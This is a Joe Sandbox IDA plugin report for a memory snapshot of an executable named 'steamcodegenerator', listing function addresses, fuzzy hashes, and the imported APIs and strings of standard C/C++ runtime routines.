Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac8362b94cbf271fd23ce0d6965fdbbec26e6817efc2dd1af2fcdc0b4ee58872
Instruction ID: e4dafa64805235ed9ba111cd20951339da2dd576d244c503101d72d742d0feca
Opcode Fuzzy Hash: ac8362b94cbf271fd23ce0d6965fdbbec26e6817efc2dd1af2fcdc0b4ee58872
Instruction Fuzzy Hash: 85515437A18A91C6E7648B29C45127837B1EB45B6CF644132CE4DAB7A5CF3AF853C780

Function 00007FF663557C3C Relevance: .1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: a2c328ef171a7afa6c06a3296587a9b3e14f038aec87a28e036cef878b6331d9
Instruction ID: 6fa966209ecf8a6613dc43d6c22f1602fed03019f06f89b7fa67442ec92ebe35
Opcode Fuzzy Hash: a2c328ef171a7afa6c06a3296587a9b3e14f038aec87a28e036cef878b6331d9
Instruction Fuzzy Hash: DF41C272B14A5582EF44CF2AD91656A63B1BB49FD4B49E032DE0DEBB58DF3CE1428340

Function 00007FF663568F80 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d23d0e9da3076ad5b774ad45d8636280020e110bd3dbb24153443ce06125473
Instruction ID: 2e4dcc212ca93cb6d3e48ff3fe93291ed3d70909658cda96b26b0b750032d9ea
Opcode Fuzzy Hash: 1d23d0e9da3076ad5b774ad45d8636280020e110bd3dbb24153443ce06125473
Instruction Fuzzy Hash: BCF06271B18295CADBA58F29A84766977F0F708384F80D439DA8DC7F14DA3C90608F04

Function 00007FF663549B30 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c20acefe3a69058f9053b966004725b6699a124ed001c4cc8db5546ddce4a23b
Instruction ID: 0daf21cea3ca885201ab8c41313322909df58172519fba11a6c4257a9d36e37a
Opcode Fuzzy Hash: c20acefe3a69058f9053b966004725b6699a124ed001c4cc8db5546ddce4a23b
Instruction Fuzzy Hash: 6FA0026590CD12D0E74C9B02ED630306770FF51310B400031E41DEB2B29F3CA454E304

Function 00007FF663542790 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 269COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF66354285B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF663542886
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6635428B3
std::_Facet_Register.LIBCPMT ref: 00007FF663542932
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF66354294F

Strings

ios_base::badbit set, xrefs: 00007FF663542A74
ios_base::eofbit set, xrefs: 00007FF663542A87
ios_base::failbit set, xrefs: 00007FF663542A80, 00007FF663542AD0

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 459529453-1866435925
Opcode ID: 3937cb2de45063989f30ed65fb080d1dae6c25b6e2d9b3e18489dfea4281ca75
Instruction ID: 4d76e72706907d1ddac3efc94115edf2b6a62168b3db21cc1c1e19264703f3a0
Opcode Fuzzy Hash: 3937cb2de45063989f30ed65fb080d1dae6c25b6e2d9b3e18489dfea4281ca75
Instruction Fuzzy Hash: CBB16C22A09B85C5EB28CB25E4863B973B0FB84B84F548136DE4DAB796DF3CE455C700

Function 00007FF663545B10 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 151COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF663545B86
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF663545BD2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF663545D17
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF663545D30
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF663545D43
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF663545D49

Strings

bad locale name, xrefs: 00007FF663545D36
true, xrefs: 00007FF663545C79
false, xrefs: 00007FF663545C49

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: Concurrency::cancel_current_taskstd::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name$false$true
API String ID: 4121308752-1062449267
Opcode ID: a0846c2aa12d742fa10dac8f3bd10f58a2c9fa8587503aeb1b9c9460052203b9
Instruction ID: 9578e4c09a9d54d1619a93331d450cff716a7b0e23b50a246e7f10dcd980575f
Opcode Fuzzy Hash: a0846c2aa12d742fa10dac8f3bd10f58a2c9fa8587503aeb1b9c9460052203b9
Instruction Fuzzy Hash: C1616B32A0A741CAEB19DF60E4522BC37B0AF54744F144534DA8DBBBA6EF38E565D340

Function 00007FF66354B960 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF66354B9BC

Part of subcall function 00007FF66354DD20: __GetUnwindTryBlock.LIBCMT ref: 00007FF66354DD63
Part of subcall function 00007FF66354DD20: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF66354DD88

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF66354BA94
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF66354BCE3
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF66354BDEF

Strings

csm, xrefs: 00007FF66354BA3D
csm, xrefs: 00007FF66354BAB7
csm, xrefs: 00007FF66354B9D6

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: a990464a9b0ebae1c73dc8e44a8328145eb2f0c0011acfcadcc99229f563dc94
Instruction ID: b7b2cd2148c9cc591a6667abe5b997859ca289650291e60935e7e66b7f9db1d4
Opcode Fuzzy Hash: a990464a9b0ebae1c73dc8e44a8328145eb2f0c0011acfcadcc99229f563dc94
Instruction Fuzzy Hash: 83D18172A08742C6EB68AF65D4823AD77B4FB45788F104135DE8DABB56DF38E4A1C700

Function 00007FF66355B3F4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,?,00007FF66355217D,?,?,?,?,00007FF663546424,?,?,?,00007FF663544660), ref: 00007FF66355B570
GetProcAddress.KERNEL32(?,?,?,?,00007FF66355217D,?,?,?,?,00007FF663546424,?,?,?,00007FF663544660), ref: 00007FF66355B57C

Strings

api-ms-, xrefs: 00007FF66355B4BA
ext-ms-, xrefs: 00007FF66355B4CD

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 485021a0a37bf4d08527970241f82041fbd12763ed629b207983ccd9ca274b15
Instruction ID: 3c68d1e0037a381657f0222c202618a51760aa04e7ffafec2d896a5591bac139
Opcode Fuzzy Hash: 485021a0a37bf4d08527970241f82041fbd12763ed629b207983ccd9ca274b15
Instruction Fuzzy Hash: 0741CF31B19A42C2EA1AAB17E84967623B5FF05BA0F584635DD0EEF794EE3CF4058300

Function 00007FF663558174 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6635581B7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6635585A4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF663558840

Strings

p, xrefs: 00007FF6635582E1
f, xrefs: 00007FF6635582D9
p, xrefs: 00007FF663558269

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: c526f3c0768fe9bb32e6b0cf3c5b34720bc9ff458adbcfce366da728eaeb86fb
Instruction ID: b842d8cd792f3d1a21f92536cce50c0c6de074dd22debefbffd2502ae06c63ff
Opcode Fuzzy Hash: c526f3c0768fe9bb32e6b0cf3c5b34720bc9ff458adbcfce366da728eaeb86fb
Instruction Fuzzy Hash: C9128E72F29153C6FB20AE14E05667D76B1EB507A0F844035E69AAB7C4DF3CF9808B02

Function 00007FF66355E5B4 Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF66355E9E1

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0bb0a586f61f888d0fabcc55a92c509517cdfc5ef6cb14ed48e5264dfe45f05a
Instruction ID: a24cd7f5e71aad3a18504f09bb893eb61fd61b3c1854936a1c6ab873590c05b3
Opcode Fuzzy Hash: 0bb0a586f61f888d0fabcc55a92c509517cdfc5ef6cb14ed48e5264dfe45f05a
Instruction Fuzzy Hash: E6C1E132A0C786D1EB619B1590422FD3BB1FB81BA0F556135EA8EAB391DF7CF8558340

Function 00007FF66354E28C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF66354E53E,?,?,?,00007FF66354E230,?,?,?,00007FF66354AE11), ref: 00007FF66354E311
GetLastError.KERNEL32(?,?,?,00007FF66354E53E,?,?,?,00007FF66354E230,?,?,?,00007FF66354AE11), ref: 00007FF66354E31F
LoadLibraryExW.KERNEL32(?,?,?,00007FF66354E53E,?,?,?,00007FF66354E230,?,?,?,00007FF66354AE11), ref: 00007FF66354E349
FreeLibrary.KERNEL32(?,?,?,00007FF66354E53E,?,?,?,00007FF66354E230,?,?,?,00007FF66354AE11), ref: 00007FF66354E3B7
GetProcAddress.KERNEL32(?,?,?,00007FF66354E53E,?,?,?,00007FF66354E230,?,?,?,00007FF66354AE11), ref: 00007FF66354E3C3

Strings

api-ms-, xrefs: 00007FF66354E331

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 3e1fd3a685f2033975e74a960ce108ae537942f5f0739880e328c386ea771c15
Instruction ID: 4ef2cbc4b0cd494c272390ecafaa17a5ca7bde1c3d4fe9b858123368b6488327
Opcode Fuzzy Hash: 3e1fd3a685f2033975e74a960ce108ae537942f5f0739880e328c386ea771c15
Instruction Fuzzy Hash: BC31B221B1A642D1EE6AEB12A40257963B4FF25BA0F592535DD1DAF792FF3CF4508300

Function 00007FF663544610 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF66354465B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF663544680
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6635446AA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF66354473B

Strings

@F, xrefs: 00007FF66354474B
invalid string position, xrefs: 00007FF663544614

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: invalid string position$@F
API String ID: 593203224-3046666360
Opcode ID: 4a0e63c30155dbd531933714e4fb3250fae38a20e05bdf120d2de5344a78d97b
Instruction ID: b7bddaf1061431b317f1c29a94c92480c00c4a84e4021f9eac0d00d8d532efd6
Opcode Fuzzy Hash: 4a0e63c30155dbd531933714e4fb3250fae38a20e05bdf120d2de5344a78d97b
Instruction Fuzzy Hash: 77318162A08B42C5EA29DF15E4422B973B0FF94B84F580031DA4DAB76ADE3CF462C740

Function 00007FF66355A298 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF66355A2A7
FlsGetValue.KERNEL32 ref: 00007FF66355A2BC
FlsSetValue.KERNEL32 ref: 00007FF66355A2DD
FlsSetValue.KERNEL32 ref: 00007FF66355A30A
FlsSetValue.KERNEL32 ref: 00007FF66355A31B
FlsSetValue.KERNEL32 ref: 00007FF66355A32C
SetLastError.KERNEL32 ref: 00007FF66355A347

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 1be884a4e317a723df3c05ed33de2d7cd5181bc24a5a1d7764a1952c9c9cbb42
Instruction ID: 709143d5db58cb089dc387e681dbf770eac1965b0db71ac644b35a4a106ba2cf
Opcode Fuzzy Hash: 1be884a4e317a723df3c05ed33de2d7cd5181bc24a5a1d7764a1952c9c9cbb42
Instruction Fuzzy Hash: 63217930E0C642C6FA596772964713D12B2AF487B4F144634EC2EEF7D6EE2CB4028311

Function 00007FF663568358 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF663568389
GetLastError.KERNEL32 ref: 00007FF663568395
CloseHandle.KERNEL32 ref: 00007FF6635683AD
CreateFileW.KERNEL32 ref: 00007FF6635683D8
WriteConsoleW.KERNEL32 ref: 00007FF6635683F7

Strings

CONOUT$, xrefs: 00007FF6635683B9

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 694d1561b49bf98eabe73384ab34ca1d62e8bc3aa0c95dc252714f74f68b0a54
Instruction ID: 3ba73fb35f6458cc6c33ed4a07f7d852af2702a179b1a38d0175318360082e2c
Opcode Fuzzy Hash: 694d1561b49bf98eabe73384ab34ca1d62e8bc3aa0c95dc252714f74f68b0a54
Instruction Fuzzy Hash: B9116731B18A42C6E7509B03B84632967B4FB89BE4F144234EA6DDB7A4DF7CE8488740

Function 00007FF663548A80 Relevance: 9.2, APIs: 6, Instructions: 200COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF663548AF2
MultiByteToWideChar.KERNEL32 ref: 00007FF663548B9A
LCMapStringEx.KERNEL32 ref: 00007FF663548BD1
LCMapStringEx.KERNEL32 ref: 00007FF663548C2A
LCMapStringEx.KERNEL32 ref: 00007FF663548CD7
WideCharToMultiByte.KERNEL32 ref: 00007FF663548D19

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 56c1881ff080da115e17173811a025af0d6ab41ce3f93a68b9c841ae504a7f9c
Instruction ID: d7380e52afb709506c66245f08f35e080c9dcd4135146405fc083df66590d96c
Opcode Fuzzy Hash: 56c1881ff080da115e17173811a025af0d6ab41ce3f93a68b9c841ae504a7f9c
Instruction Fuzzy Hash: 1881DE33A09741C6EB288F21A44136A67A1FF94BA8F044631EA5DABBD5DF3DE4118741

Function 00007FF6635454C0 Relevance: 9.1, APIs: 6, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6635454EB
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF663545510
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF66354553A
std::_Facet_Register.LIBCPMT ref: 00007FF6635455B1
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6635455CB
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6635455F3

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 5b1032962b2f3603510ee43495ab5f1e8501dba359fef9820ab2aefd96205ff8
Instruction ID: 26c7f5287ef6912eaec53df1428a1accc7335162073db386617b829b45912e18
Opcode Fuzzy Hash: 5b1032962b2f3603510ee43495ab5f1e8501dba359fef9820ab2aefd96205ff8
Instruction Fuzzy Hash: DC31A722A08B41C5EA19DF15E4461F97371FB44B94F484931EA4DAF7A6DF3CE561C700

Function 00007FF663546D44 Relevance: 9.1, APIs: 6, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF663546D59
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF663546D7E
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF663546DA8
std::_Facet_Register.LIBCPMT ref: 00007FF663546E1F
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF663546E40
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF663546E53

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 6dd869cd8eb9f4e4568965f6fff9a5a75bd4238d98132b85c20296b06ff4c309
Instruction ID: ac4d96c2114a005c5e625a5e2bc8d69f0477f0b21713c5f70f09a33954098067
Opcode Fuzzy Hash: 6dd869cd8eb9f4e4568965f6fff9a5a75bd4238d98132b85c20296b06ff4c309
Instruction Fuzzy Hash: D3319221A09B42C5EB1D9B55E4422B967B0EF44BA4F084131DA1DEF7A6DE3CF462C300

Function 00007FF66354BE30 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 320COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF66354BFCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF66354C2F7

Strings

csm, xrefs: 00007FF66354BF15
csm, xrefs: 00007FF66354BFF5
csm, xrefs: 00007FF66354BF77

Memory Dump Source

Source File: 00000000.00000002.3630042132.00007FF663541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF663540000, based on PE: true

Associated: 00000000.00000002.3630029312.00007FF663540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630064658.00007FF66356B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630081465.00007FF66357C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3630095510.00007FF66357F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff663540000_steamcodegenerator.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 56b501d46a3a8898814a296027c8e3984b73c41ebf1f0af9fd66e92a0995a612
Instruction ID: 40748445b2f894d0e599a36aa7f3981f755ba3494c1639d50c5112e333e2aa0e
Opcode Fuzzy Hash: 56b501d46a3a8898814a296027c8e3984b73c41ebf1f0af9fd66e92a0995a612
Instruction Fuzzy Hash: B8E19F72D08782CAEB68AB64D4822BD77B0FB44748F144135DA9DAB797DF38E4A5C700

Function 00007FF66355A410 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00001E36F50DF55B,00007FF663554851,?,?,?,?,00007FF66355F7CA,?,?,00000000,00007FF663564803,?,?,?), ref: 00007FF66355A41F
FlsSetValue.KERNEL32(?,?,00001E36F50DF55B,00007FF663554851,?,?,?,?,00007FF66355F7CA,?,?,00000000,00007FF663564803,?,?,?), ref: 00007FF66355A455
